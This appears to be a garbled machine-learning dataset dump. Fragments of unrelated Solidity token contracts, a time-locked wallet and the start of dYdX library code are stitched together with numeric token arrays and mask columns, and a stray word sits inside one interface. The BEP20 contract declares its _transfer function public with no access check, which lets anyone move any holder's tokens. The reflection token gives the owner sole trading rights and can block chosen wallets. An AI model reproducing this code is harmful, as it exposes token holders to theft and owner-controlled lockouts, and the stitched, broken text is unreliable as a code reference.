uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if (takeFee) {
if (to != uniswapV2Pair) {
require(
amount + balanceOf(to) <= _maxWalletSize,
"Recipient exceeds max wallet size."
);
}
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | SPDX-License-Identifier: Unlicensed | interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
Komodo
}
| 11,649,090 | [
1,
3118,
28826,
17,
13211,
17,
3004,
30,
1351,
80,
335,
28003,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
654,
39,
3462,
288,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
7412,
1265,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
460,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
460,
1769,
203,
1475,
362,
7370,
7010,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-11-15
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract BEP20 is Context, Ownable, IBEP20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address towner, address spender) public view override returns (uint) {
return _allowances[towner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) public{
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address towner, address spender, uint amount) internal {
require(towner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[towner][spender] = amount;
emit Approval(towner, spender, amount);
}
}
contract BEP20Detailed is BEP20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory tname, string memory tsymbol, uint8 tdecimals) internal {
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeBEP20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IBEP20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract LockableWallet is Ownable{
using SafeMath for uint256;
// The token being sold change NAME to match above contract
BEP20 public realtoken;
//uint256 public totalAmountAvailable = 450000000 * (10**18);
uint256 public totalsold = 0;
// Address where funds are collected
address payable public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
uint256 public lockTime;
// Amount of wei raised
uint256 public weiRaised;
bool public canClaim = false;
mapping (address => uint) internal _walletbalances;
mapping (address => bool) internal _presalercollected;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
// change type of last parameter to match the above token
constructor(address payable _wallet, BEP20 tokenaddress, uint256 NumHours) public {
require(_wallet != address(0));
wallet = _wallet;
realtoken = tokenaddress;
lockTime = now + (NumHours * 60 * 60);
}
fallback () external payable {
}
receive () external payable {
}
function getFunds()public onlyOwner{
wallet.transfer(address(this).balance);
}
function setRealContractAddress(BEP20 contAdd)public onlyOwner{
realtoken = contAdd;
}
function setWallet(address payable newWallet)public onlyOwner{
wallet = newWallet;
}
function claimTokens() public onlyOwner{
require(now >= lockTime, "Current lock prevents withdrawal");
uint256 balance = realtoken.balanceOf(address(this));
realtoken.transfer(wallet, balance);
}
function setlocktime(uint256 NumHours)public onlyOwner{
require(now >= lockTime, "current Locktime cannot be changed");
lockTime = now + (NumHours *60 * 60);
}
function getRemainingTime()public view returns(uint256, uint256, uint256){// gets the remaining time in seconds
uint256 time = lockTime;
return (time.sub(now), time.sub(now).div(60), time.div(60).div(60)); // returns seconds, minutes, hours remaining;
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function queryERC20Balance(address _tokenAddress, address _addressToQuery) view public onlyOwner returns (uint) {
uint256 contractBalance = BEP20Interface(_tokenAddress).balanceOf(_addressToQuery);
return contractBalance;
}
}
contract timeChecker{
using SafeMath for uint256;
function checkRemainingSeconds(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60); // returns minutes remaining;
}
function checkRemainingHours(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60).div(60); // returns minutes remaining;
}
function checkRemainingDays(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60).div(60).div(24); // returns minutes remaining;
}
} | returns minutes remaining;
| return time.sub(now).div(60).div(60); | 15,247,031 | [
1,
6154,
6824,
4463,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
327,
813,
18,
1717,
12,
3338,
2934,
2892,
12,
4848,
2934,
2892,
12,
4848,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
Copyright 2019 dYdX Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.7;
pragma experimental ABIEncoderV2;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/protocol/lib/Require.sol
/**
* @title Require
* @author dYdX
*
* Stringifies parameters to pretty-print revert messages. Costs more gas than regular require()
*/
library Require {
// ============ Constants ============
uint256 constant ASCII_ZERO = 48; // '0'
uint256 constant ASCII_RELATIVE_ZERO = 87; // 'a' - 10
uint256 constant ASCII_LOWER_EX = 120; // 'x'
bytes2 constant COLON = 0x3a20; // ': '
bytes2 constant COMMA = 0x2c20; // ', '
bytes2 constant LPAREN = 0x203c; // ' <'
byte constant RPAREN = 0x3e; // '>'
uint256 constant FOUR_BIT_MASK = 0xf;
// ============ Library Functions ============
function that(
bool must,
bytes32 file,
bytes32 reason
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason)
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
uint256 payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
